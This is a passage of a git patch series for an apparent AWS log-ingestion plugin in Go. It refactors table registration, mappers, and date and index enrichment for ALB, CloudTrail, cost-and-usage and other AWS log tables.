string `json:"actions_executed" column:"actions_executed"` - RedirectURL *string `json:"redirect_url,omitempty" column:"redirect_url"` - ErrorReason *string `json:"error_reason,omitempty" column:"error_reason"` - TargetList *string `json:"target_list,omitempty" column:"target_list"` - TargetStatusList *string `json:"target_status_list,omitempty" column:"target_status_list"` - Classification *string `json:"classification,omitempty" column:"classification"` - ClassificationReason *string `json:"classification_reason,omitempty" column:"classification_reason"` - ConnTraceID string `json:"conn_trace_id" column:"conn_trace_id"` + Type string `json:"type"` + Timestamp time.Time `json:"timestamp"` + Elb string `json:"elb"` + ClientIP string `json:"client_ip"` + ClientPort int `json:"client_port"` + TargetIP *string `json:"target_ip,omitempty"` + TargetPort int `json:"target_port,omitempty"` + RequestProcessingTime float64 `json:"request_processing_time"` + TargetProcessingTime float64 `json:"target_processing_time"` + ResponseProcessingTime float64 `json:"response_processing_time"` + ElbStatusCode *int `json:"elb_status_code,omitempty"` + TargetStatusCode *int `json:"target_status_code,omitempty"` + ReceivedBytes *int64 `json:"received_bytes"` + SentBytes *int64 `json:"sent_bytes"` + Request string `json:"request"` + UserAgent string `json:"user_agent"` + SslCipher string `json:"ssl_cipher"` + SslProtocol string `json:"ssl_protocol"` + TargetGroupArn string `json:"target_group_arn"` + TraceID string `json:"trace_id"` + DomainName string `json:"domain_name"` + ChosenCertArn string `json:"chosen_cert_arn"` + MatchedRulePriority int `json:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time"` + ActionsExecuted string `json:"actions_executed"` + RedirectURL *string `json:"redirect_url,omitempty"` + ErrorReason *string `json:"error_reason,omitempty"` + TargetList *string `json:"target_list,omitempty"` + TargetStatusList *string `json:"target_status_list,omitempty"` + Classification *string `json:"classification,omitempty"` + ClassificationReason *string `json:"classification_reason,omitempty"` + ConnTraceID string `json:"conn_trace_id"` } func NewElbAccessLog() *ElbAccessLog { From 65cf445102bb15c3cd0c813f745860f64ada43d1 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 13 Nov 2024 15:20:39 +0700 Subject: [PATCH 083/180] fix tpDate --- rows/alb_access_log.go | 3 ++- tables/cloudtrail_log_table.go | 2 +- tables/cost_usage_log_table.go | 6 +++--- tables/elb_access_log_table.go | 2 +- tables/guardduty_finding_table.go | 2 +- tables/lambda_log_table.go | 2 +- tables/s3_server_access_log_table.go | 2 +- tables/vpc_flow_log_table.go | 4 ++-- tables/waf_traffic_log_table.go | 2 +- 9 files changed, 13 insertions(+), 12 deletions(-) diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index b2ab9540..600c1b8d 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -243,7 +243,8 @@ func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields l.TpID = xid.New().String() l.TpTimestamp = l.Timestamp l.TpIngestTimestamp = time.Now() - l.TpDate = l.Timestamp.Format("2006-01-02") + // truncate timestamp to date + l.TpDate = l.Timestamp.Truncate(24 * time.Hour) // Use ALB name as the index l.TpIndex = l.AlbName diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 1bde9733..bf600e89 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -120,7 +120,7 @@ func (c *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichment row.TpPartition = "default" // TODO - should be based on the definition in HCL row.TpIndex = row.RecipientAccountId // convert to date in format yy-mm-dd - row.TpDate = row.EventTime.Format("2006-01-02") + row.TpDate = row.EventTime.Truncate(24 * time.Hour) return row, nil } diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 59e38224..0201e2c1 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -121,11 +121,11 @@ func (c *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrich } // convert to date in format yy-mm-dd if row.InvoiceDate != nil { - row.TpDate = row.InvoiceDate.Format("2006-01-02") + row.TpDate = row.InvoiceDate.Truncate(24 * time.Hour) } else if row.BillingPeriodStartDate != nil { - row.TpDate = row.BillingPeriodStartDate.Format("2006-01-02") + row.TpDate = row.BillingPeriodStartDate.Truncate(24 * time.Hour) } else if row.BillingPeriodEndDate != nil { - row.TpDate = row.BillingPeriodEndDate.Format("2006-01-02") + row.TpDate = row.BillingPeriodEndDate.Truncate(24 * time.Hour) } return row, nil diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 4af10117..7470e8ce 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -84,7 +84,7 @@ func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFi } // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Format("2006-01-02") + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) return row, nil } diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index 43357134..26e20ce0 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -84,7 +84,7 @@ func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnri } row.TpIndex = *row.AccountId - row.TpDate = row.CreatedAt.Format("2006-01-02") + row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) return row, nil } diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index b1f73240..ead6734b 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -92,7 +92,7 @@ package tables // row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) // } // // convert to date in format yy-mm-dd -// row.TpDate = row.Timestamp.Format("2006-01-02") +// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) // // return row, nil //} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 9d0ea87d..0acaa313 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -83,7 +83,7 @@ func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEn row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Format("2006-01-02") + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) return row, nil } diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index ecff19b0..4e084c9d 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -86,12 +86,12 @@ func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFie // populate the year, month, day from start time if row.Timestamp != nil { // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.In(time.UTC).Format("2006-01-02") + row.TpDate = row.Timestamp.In(time.UTC).Truncate(24 * time.Hour) row.TpTimestamp = *row.Timestamp } else if row.Start != nil { // convert to date in format yy-mm-dd // TODO is Start unix millis?? if so why do we convert it for TpTimestamp - row.TpDate = time.UnixMilli(*row.Start).Format("2006-01-02") + row.TpDate = time.UnixMilli(*row.Start).Truncate(24 * time.Hour) //convert from unis seconds to milliseconds row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index a50a34cf..3dd58c40 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -103,7 +103,7 @@ func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichment row.TpIndex = "" // or assign a default value if desired } // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Format("2006-01-02") + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) return row, nil } From 6df1854aeea4938dca38c0e7d5e0ba15b7055533 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 13 Nov 2024 17:35:23 +0700 Subject: [PATCH 084/180] fix cost usage table --- tables/cost_usage_log_table.go | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 0201e2c1..2bead464 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -5,6 +5,7 @@ import ( "time" "github.com/rs/xid" + typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" @@ -114,10 +115,10 @@ func (c *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrich // Hive fields // for some rows we dont get the linked account id, so we use the payer account id as a fallback // TODO - should we use the payer account id instead? - if row.LinkedAccountId != nil { - row.TpIndex = *row.LinkedAccountId + if accountId := typehelpers.SafeString(row.LinkedAccountId); accountId != "" { + row.TpIndex = accountId } else { - row.TpIndex = *row.PayerAccountId + row.TpIndex = typehelpers.SafeString(row.PayerAccountId) } // convert to date in format yy-mm-dd if row.InvoiceDate != nil { From f6e6dbc6bcd5858814a6c5a5f993772655a5f7ac Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 13 Nov 2024 17:41:57 +0700 Subject: [PATCH 085/180] revert test parquet tag --- rows/cloudtrail.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rows/cloudtrail.go b/rows/cloudtrail.go index af5bf6fb..87236e1e 100644 --- a/rows/cloudtrail.go +++ b/rows/cloudtrail.go @@ -23,7 +23,7 @@ type CloudTrailLog struct { ErrorCode *string `json:"errorCode,omitempty"` ErrorMessage *string `json:"errorMessage,omitempty"` EventID string `json:"eventID"` - EventName string `json:"eventName" parquet:"type=JSON"` + EventName string `json:"eventName"` EventSource string `json:"eventSource"` EventTime *time.Time `json:"eventTime"` EventType string `json:"eventType"` From 9ecbc43e746c7048c929dccc4bc7d0775b6824fc Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 14 Nov 2024 09:33:32 +0700 Subject: [PATCH 086/180] Update CloudTrail log table naming to be consistent --- mappers/cloudtrail_log_mapper.go | 47 +++++++++++++++++++++++ mappers/cloudtrail_mapper.go | 47 ----------------------- rows/{cloudtrail.go => cloudtrail_log.go} | 2 +- tables/cloudtrail_log_table.go | 6 +-- tables/securityhub_finding_log_table.go | 2 +- 5 files changed, 52 insertions(+), 52 deletions(-) create mode 100644 mappers/cloudtrail_log_mapper.go delete mode 100644 mappers/cloudtrail_mapper.go rename rows/{cloudtrail.go => cloudtrail_log.go} (99%) diff --git a/mappers/cloudtrail_log_mapper.go b/mappers/cloudtrail_log_mapper.go new file mode 100644 index 00000000..83ee55a1 --- /dev/null +++ b/mappers/cloudtrail_log_mapper.go @@ -0,0 +1,47 @@ +package mappers + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +// CloudTrailLogMapper is a mapper that receives CloudTrailLogBatch objects and extracts CloudTrailLog records from them +type CloudTrailLogMapper struct { +} + +// NewCloudTrailLogMapper creates a new CloudTrailLogMapper +func NewCloudTrailLogMapper() table.Mapper[*rows.CloudTrailLog] { + return &CloudTrailLogMapper{} +} + +func (c *CloudTrailLogMapper) Identifier() string { + return "cloudtrail_log_mapper" +} + +// Map casts the data item as an CloudTrailLogBatch and returns the CloudTrailLog records +func (c *CloudTrailLogMapper) Map(_ context.Context, a any) ([]*rows.CloudTrailLog, error) { + // the expected input type is a JSON byte[] deserializable to CloudTrailLogBatch + jsonBytes, ok := a.([]byte) + if !ok { + return nil, fmt.Errorf("expected byte[], got %T", a) + } + + // decode json ito CloudTrailLogBatch + var log rows.CloudTrailLogBatch + err := json.Unmarshal(jsonBytes, &log) + if err != nil { + return nil, fmt.Errorf("error decoding json: %w", err) + } + + slog.Debug("CloudwatchMapper", "record count", len(log.Records)) + var res = make([]*rows.CloudTrailLog, len(log.Records)) + for i, record := range log.Records { + res[i] = &record + } + return res, nil +} diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go deleted file mode 100644 index a5def901..00000000 --- a/mappers/cloudtrail_mapper.go +++ /dev/null @@ -1,47 +0,0 @@ -package mappers - -import ( - "context" - "encoding/json" - "fmt" - "log/slog" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -// CloudtrailMapper is a mapper that receives CloudTrailBatch objects and extracts CloudTrailLog records from them -type CloudtrailMapper struct { -} - -// NewCloudtrailMapper creates a new CloudtrailMapper -func NewCloudtrailMapper() table.Mapper[*rows.CloudTrailLog] { - return &CloudtrailMapper{} -} - -func (c *CloudtrailMapper) Identifier() string { - return "cloudtrail_mapper" -} - -// Map casts the data item as an CloudTrailBatch and returns the CloudTrailLog records -func (c *CloudtrailMapper) Map(_ context.Context, a any) ([]*rows.CloudTrailLog, error) { - // the expected input type is a JSON byte[] deserializable to CloudTrailBatch - jsonBytes, ok := a.([]byte) - if !ok { - return nil, fmt.Errorf("expected byte[], got %T", a) - } - - // decode json ito CloudTrailBatch - var log rows.CloudTrailBatch - err := json.Unmarshal(jsonBytes, &log) - if err != nil { - return nil, fmt.Errorf("error decoding json: %w", err) - } - - slog.Debug("CloudwatchMapper", "record count", len(log.Records)) - var res = make([]*rows.CloudTrailLog, len(log.Records)) - for i, record := range log.Records { - res[i] = &record - } - return res, nil -} diff --git a/rows/cloudtrail.go b/rows/cloudtrail_log.go similarity index 99% rename from rows/cloudtrail.go rename to rows/cloudtrail_log.go index 87236e1e..85bbcc7c 100644 --- a/rows/cloudtrail.go +++ b/rows/cloudtrail_log.go @@ -7,7 +7,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) -type CloudTrailBatch struct { +type CloudTrailLogBatch struct { Records []CloudTrailLog `json:"Records"` } diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index bf600e89..d7b49c71 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -48,7 +48,7 @@ func (c *CloudTrailLogTable) initMapper() { // TODO switch on source // if the source is an artifact source, we need a mapper - c.Mapper = mappers.NewCloudtrailMapper() + c.Mapper = mappers.NewCloudTrailLogMapper() } // Identifier implements table.Table @@ -62,9 +62,9 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro switch sourceType { case artifact_source.AwsS3BucketSourceIdentifier: - // the default file layout for Cloudtrail logs in S3 + // the default file layout for CloudTrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - // TODO #config finalise default cloudtrail file layout + // TODO #config finalise default CloudTrail log file layout FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index 16afd862..ac2aa66a 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -49,7 +49,7 @@ func (c *SecurityHubFindingLogTable) GetSourceOptions(sourceType string) []row_s switch sourceType { case artifact_source.AwsS3BucketSourceIdentifier: - // the default file layout for Cloudtrail logs in S3 + // the default file layout for SecurityHub finding logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ // TODO #config finalise default cloudtrail file layout FileLayout: utils.ToStringPointer("security_hub_findings_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})"), From 960a1d961d154276db719880ef47a88b672c5ee1 Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 14 Nov 2024 11:34:04 +0700 Subject: [PATCH 087/180] remove factory initialisation from NewPlugin --- aws/plugin.go | 7 ------- 1 file changed, 7 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 109fd970..5ef71e94 100755 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -4,7 +4,6 @@ import ( "github.com/turbot/go-kit/helpers" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/plugin" - "github.com/turbot/tailpipe-plugin-sdk/table" // reference the table package to ensure that the tables are registered by the init functions _ "github.com/turbot/tailpipe-plugin-aws/tables" ) @@ -20,15 +19,9 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { } }() - //fmt.Println(tables.AlbAccessLogTable{}) p := &Plugin{ PluginImpl: plugin.NewPluginImpl("aws", config.NewAwsConnection), } - // initialise table factory - if err := table.Factory.Init(); err != nil { - return nil, err - } - return p, nil } From 7538feeee196d53ff9e4da81dfdb45b01799a95c Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Mon, 18 Nov 2024 10:14:20 +0000 Subject: [PATCH 088/180] simplify - remove ctors, use generic creation, add SupportedSources --- aws/plugin.go | 2 +- config/aws_connection.go | 6 - mappers/alb_access_log_mapper.go | 3 +- tables/alb_access_log_table.go | 75 ++++---- tables/cloudtrail_log_table.go | 66 ++----- tables/cost_usage_log_table.go | 69 ++------ tables/elb_access_log_table.go | 159 ++++++++--------- tables/guardduty_finding_table.go | 174 ++++++++++--------- tables/s3_server_access_log_table.go | 160 ++++++++--------- tables/securityhub_finding_log_table.go | 171 +++++++++---------- tables/vpc_flow_log_table.go | 217 +++++++++++------------- tables/waf_traffic_log_table.go | 196 ++++++++++----------- 12 files changed, 578 insertions(+), 720 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 5ef71e94..9766741e 100755 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -20,7 +20,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { }() p := &Plugin{ - PluginImpl: plugin.NewPluginImpl("aws", config.NewAwsConnection), + PluginImpl: plugin.NewPluginImpl[*config.AwsConnection]("aws"), } return p, nil diff --git a/config/aws_connection.go b/config/aws_connection.go index dac28455..6e7fe20d 100644 --- a/config/aws_connection.go +++ b/config/aws_connection.go @@ -1,7 +1,5 @@ package config -import "github.com/turbot/tailpipe-plugin-sdk/parse" - type AwsConnection struct { Regions []string `hcl:"regions,optional"` DefaultRegion *string `hcl:"default_region"` @@ -16,10 +14,6 @@ type AwsConnection struct { S3ForcePathStyle *bool `hcl:"s3_force_path_style"` } -func NewAwsConnection() parse.Config { - return &AwsConnection{} -} - func (c *AwsConnection) Validate() error { return nil } diff --git a/mappers/alb_access_log_mapper.go b/mappers/alb_access_log_mapper.go index d3f0fb26..5f6d8543 100644 --- a/mappers/alb_access_log_mapper.go +++ b/mappers/alb_access_log_mapper.go @@ -8,6 +8,7 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) // AlbLogMapper handles the mapping of ALB log lines to structured data. @@ -19,7 +20,7 @@ import ( // - Mixed data types requiring careful parsing and validation type AlbAccessLogMapper struct{} -func NewAlbAccessLogMapper() *AlbAccessLogMapper { +func NewAlbAccessLogMapper() table.Mapper[*rows.AlbAccessLog] { return &AlbAccessLogMapper{} } diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index abf56e25..b234cd6e 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -4,67 +4,74 @@ package tables // This implementation handles parsing and structuring ALB access logs into queryable data. import ( - "context" + "time" + + "github.com/rs/xid" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" - "log/slog" ) -// register the table from the package init function func init() { - table.RegisterTable(NewAlbAccessLogTable) + table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTable]() } type AlbAccessLogTable struct { table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] } -func NewAlbAccessLogTable() table.Enricher[*rows.AlbAccessLog] { - return &AlbAccessLogTable{} -} - -func (t *AlbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - if err := t.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err +func (t *AlbAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.AlbAccessLog] { + return []*table.SourceMetadata[*rows.AlbAccessLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewAlbAccessLogMapper, + Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, + }, } - - // Set the mapper - t.Mapper = mappers.NewAlbAccessLogMapper() - - var enricher table.Enricher[*rows.AlbAccessLog] - enricher = t - slog.Info("Enricher: %v", enricher) - return nil } func (t *AlbAccessLogTable) Identifier() string { return "aws_alb_access_log" } -func (t *AlbAccessLogTable) GetRowSchema() types.RowStruct { - return &rows.AlbAccessLog{} -} +func (*AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { + // Add source enrichment fields if provided + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } -func (t *AlbAccessLogTable) GetConfigSchema() parse.Config { - return &AlbAccessLogTableConfig{} -} + // Standard record enrichment + row.TpID = xid.New().String() + row.TpTimestamp = row.Timestamp + row.TpIngestTimestamp = time.Now() + // truncate timestamp to date + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) + // Use ALB name as the index + row.TpIndex = row.AlbName -func (t *AlbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - return []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), + // IP-related enrichment + if row.ClientIP != "" { + row.TpSourceIP = &row.ClientIP + row.TpIps = append(row.TpIps, row.ClientIP) + } + if row.TargetIP != nil { + row.TpDestinationIP = row.TargetIP + row.TpIps = append(row.TpIps, *row.TargetIP) + } + // Domain enrichment + if row.DomainName != "" { + row.TpDomains = append(row.TpDomains, row.DomainName) } -} -func (t *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { - if err := row.EnrichRow(sourceEnrichmentFields); err != nil { - return nil, err + // AWS resource linking + if row.TargetGroupArn != "" { + row.TpAkas = append(row.TpAkas, row.TargetGroupArn) } return row, nil } diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index d7b49c71..936d05b0 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -1,7 +1,7 @@ package tables import ( - "context" + "github.com/turbot/tailpipe-plugin-sdk/constants" "strings" "time" @@ -13,15 +13,13 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" ) // register the table from the package init function func init() { - table.RegisterTable(NewCloudTrailLogTable) + table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTable]() } // CloudTrailLogTable - table for CloudTrailLog logs @@ -30,60 +28,30 @@ type CloudTrailLogTable struct { table.TableImpl[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *config.AwsConnection] } -func NewCloudTrailLogTable() table.Enricher[*rows.CloudTrailLog] { - return &CloudTrailLogTable{} -} - -func (c *CloudTrailLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err +func (t *CloudTrailLogTable) SupportedSources() []*table.SourceMetadata[*rows.CloudTrailLog] { + // the default file layout for CloudTrail logs in S3 + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + // TODO #config finalise default cloudtrail file layout + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } - c.initMapper() - return nil -} - -func (c *CloudTrailLogTable) initMapper() { - // TODO switch on source - - // if the source is an artifact source, we need a mapper - c.Mapper = mappers.NewCloudTrailLogMapper() + return []*table.SourceMetadata[*rows.CloudTrailLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewCloudTrailLogMapper, + Options: []row_source.RowSourceOption{artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)}, + }, + } } // Identifier implements table.Table -func (c *CloudTrailLogTable) Identifier() string { +func (t *CloudTrailLogTable) Identifier() string { return "aws_cloudtrail_log" } -// GetSourceOptions returns any options which should be passed to the given source type -func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - var opts []row_source.RowSourceOption - - switch sourceType { - case artifact_source.AwsS3BucketSourceIdentifier: - // the default file layout for CloudTrail logs in S3 - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - // TODO #config finalise default CloudTrail log file layout - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), - } - opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) - } - - return opts -} - -// GetRowSchema implements table.Table -func (c *CloudTrailLogTable) GetRowSchema() types.RowStruct { - return rows.CloudTrailLog{} -} - -func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { - return &CloudTrailLogTableConfig{} -} - // EnrichRow implements table.Table -func (c *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CloudTrailLog, error) { +func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CloudTrailLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 2bead464..499c5571 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -1,7 +1,7 @@ package tables import ( - "context" + "github.com/turbot/tailpipe-plugin-sdk/constants" "time" "github.com/rs/xid" @@ -13,15 +13,13 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" ) // register the table from the package init function func init() { - table.RegisterTable(NewCostAndUsageLogTable) + table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTable]() } // CostAndUsageLogTable - table for CostAndUsageLogs @@ -30,62 +28,31 @@ type CostAndUsageLogTable struct { table.TableImpl[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *config.AwsConnection] } -func NewCostAndUsageLogTable() table.Enricher[*rows.CostAndUsageLog] { - return &CostAndUsageLogTable{} -} - -func (c *CostAndUsageLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - - c.initMapper() - return nil -} - -func (c *CostAndUsageLogTable) initMapper() { - // TODO switch on source - - // if the source is an artifact source, we need a mapper - c.Mapper = mappers.NewCostAndUsageMapper() -} - // Identifier implements table.Table -func (c *CostAndUsageLogTable) Identifier() string { +func (t *CostAndUsageLogTable) Identifier() string { return "aws_cost_usage_log" } -// GetSourceOptions returns any options which should be passed to the given source type -func (c *CostAndUsageLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - var opts []row_source.RowSourceOption - - switch sourceType { - - // TODO - update to use AwsS3BucketSourceIdentifier (using FileSystemSourceIdentifier for now) - // cost and usage csv reports are stored in S3 - case artifact_source.FileSystemSourceIdentifier: - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), - } - opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()) - +func (t *CostAndUsageLogTable) SupportedSources() []*table.SourceMetadata[*rows.CostAndUsageLog] { + // TODO fix FileLayout + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + FileLayout: 